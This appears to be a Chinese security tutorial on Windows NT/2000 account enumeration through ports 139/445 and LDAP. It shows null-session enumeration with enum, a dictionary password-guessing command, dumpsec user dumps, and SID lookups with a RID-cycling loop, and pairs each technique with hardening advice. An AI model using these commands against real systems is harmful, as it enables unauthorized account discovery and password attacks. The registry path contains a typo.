战术攻防思维撷粹之一(再谈139.445端口问题)

众所周知,139/445端口的开放使得我们可以查询NetBIOS名字表,这些表中不仅存放网络共享资源列表,它也藏匿着重要的用户信息。
Razor小组集成了NetBIOS查询特征到一个综合工具:enum。可以从razor.bindview.com/tools/desc/enum_readme.html查询到有关enum的使用说明和下载包。Enum能自动建立空会话,攻击者可以得到可以得到很有用的帐户信息和密码策略设置。
C:/toolkit>enum -U -d -P -L -c 192.168.1.151
server: 192.168.1.151
setting up session. success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
.
names:
netbios: Labmachine
domain: Workshop
.
getting user list (pass 1, index 0). success, got 9.
Administrator ()
attributes:
cifctm ()
attributes:
downsoft   attributes:
ftpuser   attributes:
Guest ()
attributes: disabled no_passwd
.
以上结果,显示了系统的某些危险漏洞,诸如密码无过期设置,无最短密码设置等,而且也罗列了系统的用户名录。除了枚举用户名外,enum提供远程猜测密码的功能,使用本地字典文件进行一个用户的密码猜:
C:/toolkit>enum -D -u <username> -f <yourdic>
+应对策略
防止用户信息出现NetBIOS名字表,可以通过控制面板停止系统上Alerter和Messenger服务。

作为视窗系统的缔造者- -微软提供NT/W2K资源工具箱(简称为NTRK或者W2RK)容纳了多种强力的管理工具,从Perl脚本语言的实现、各种通用Unix的远程管理工具和网络管理工具,给我们带来了有益的维护检测手段。与此同时,这样的工具具有着双面性,黑帽们(Blackhat)利用这些工具,同样可以轻松进行肆意的攻击。
使用NTRK提供的dumpsec、usestat、showgrps、local和global等实用工具,我们可以得到丰富的用户信息。这里必须讲解下dumpsec,因为它可以得到用户及组、NT系统策略和用户权限。以下例子显示了dumpsec获取远程计算机用户信息:
C:/toolkit>dumpsec /computer==//192.168.1.1 /rpt=usersonly /saveas=tsv /outfile=c:/users.txt
C:/type c:/users.txt
27/2/2003 4:30 PM – Somarsoft DumpSec - //192.168.1.1
UserName     FullName          Comment
Hg he gao   manager
Lb li bin   account
Mjt          ma jitao   assistant
Papa         pu ying   saler
.
(注:Somarsoft推出了DumpSec的GUI版本,功能更为强大。)
+应对策略
阻塞空会话,限制注册表RestrictAnonymous键值(NT设REG_DWORD 1,W2K设置为2),使用NTRK/W2RK的实用工具reg.exe修改如下(以NT为例):
C:/toolkit>reg add HKLM/SYSTEM/CurrentControlet/Control/LSA /v RestrictAnonymous /t REG_DWORD /d 1 /f
/v:注册表键值
/t: 数据类型
/d: 注册表键值数据
/f: 当要添加的注册表值存在时进行覆盖

帐户名探测工具中,最为杰出的莫过于Evgenii Rudnyi的sid2user和user2side。它们既可通过用户名查询系统SID,也同从SID查询用户。SID即安全表示符,是创建帐户时生成的唯一标识符。Windows NT 使用 SID,独立于用户名之外来跟踪帐户。(关于SID的结构论述,可以参阅Mark Russinovich于1999年2月的文章 http://www.winnetmag.com/Articles/Index.cfm?ArticleID=4795)。使用user2sid 得到其中一域用户SID的话,就可以利用SID号查询相应的用户名。这里,我对一台W2K机器进行了查询实验:
C:/toolkit>user2sid  //192.168.1.2 “testaccount”

S-1-5-21-1960408961-789336058-1343024091-509

Number of subauthorities is 5
Domain is LABDOMAIN
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
实验中,我们看到机器的SID格式表达式为:S-R-X -Y(1)-Y(2)-.-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这里为1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组,我们也称之为相关标识符(RID)。也就是说,帐户的区别在于RID,这里的RID值为509。而Administrator用户的RID总为500,Guest的RID总是501。根据这些知识和已得到的SID,就可以查询出Administrator帐号名(即使管理员帐号名被修改):
C:/toolkit>sid2user //192.168.1.2 5 21 1960408961 789336058 1343024091 500

Name is sysadmin
Domain is LABDOMAIN
Type of SID is SidTypeUser
从上面实验,我们可以看到系统管理员的帐户名竟然是sysadmin!

为了节省手工输入的困惑,利用这样一个脚本能提高帐户转储的效率:
C:/>for /L %I IN (1000,1,1050) DO sid2user //192.168.1.2 5 21 1960408961 789336058 1343024091 %I >> users.txt
(注:
NT/W2K域中创建的第一个帐号所赋的RID为1000。
关于for的用法可在CMD模式下输入for /?查询。
50次循环转储RID 1000-1050用户名到users.txt文件。
)

+应对策略
只要139端口可访问,sid2user和user2sid就可以搜索出所有合法的用户帐户,这种让人心惊的偷窃方式,迫使我们不得不禁用TCP 139和445端口的访问。

值得一提的是W2K引入了目录服务的概念,于是可以使用LDAP协议通过389端口遍历目录树中所存在的用户和用户组。W2RK工具包中活动目录管理工具ldp.exe可以轻松实现这种功能。下面是ldp运行的一个截图:

通过这种方式,不仅可以浏览全部用户帐户(cn=Users),还可以查询用户更多的信息,比如SID、GUID、帐户名和密码设置类型等重要信息。因此必须对动态目录的访问权限设置限制。

你可能感兴趣的:(脚本,user,domain,工具,attributes,Razor)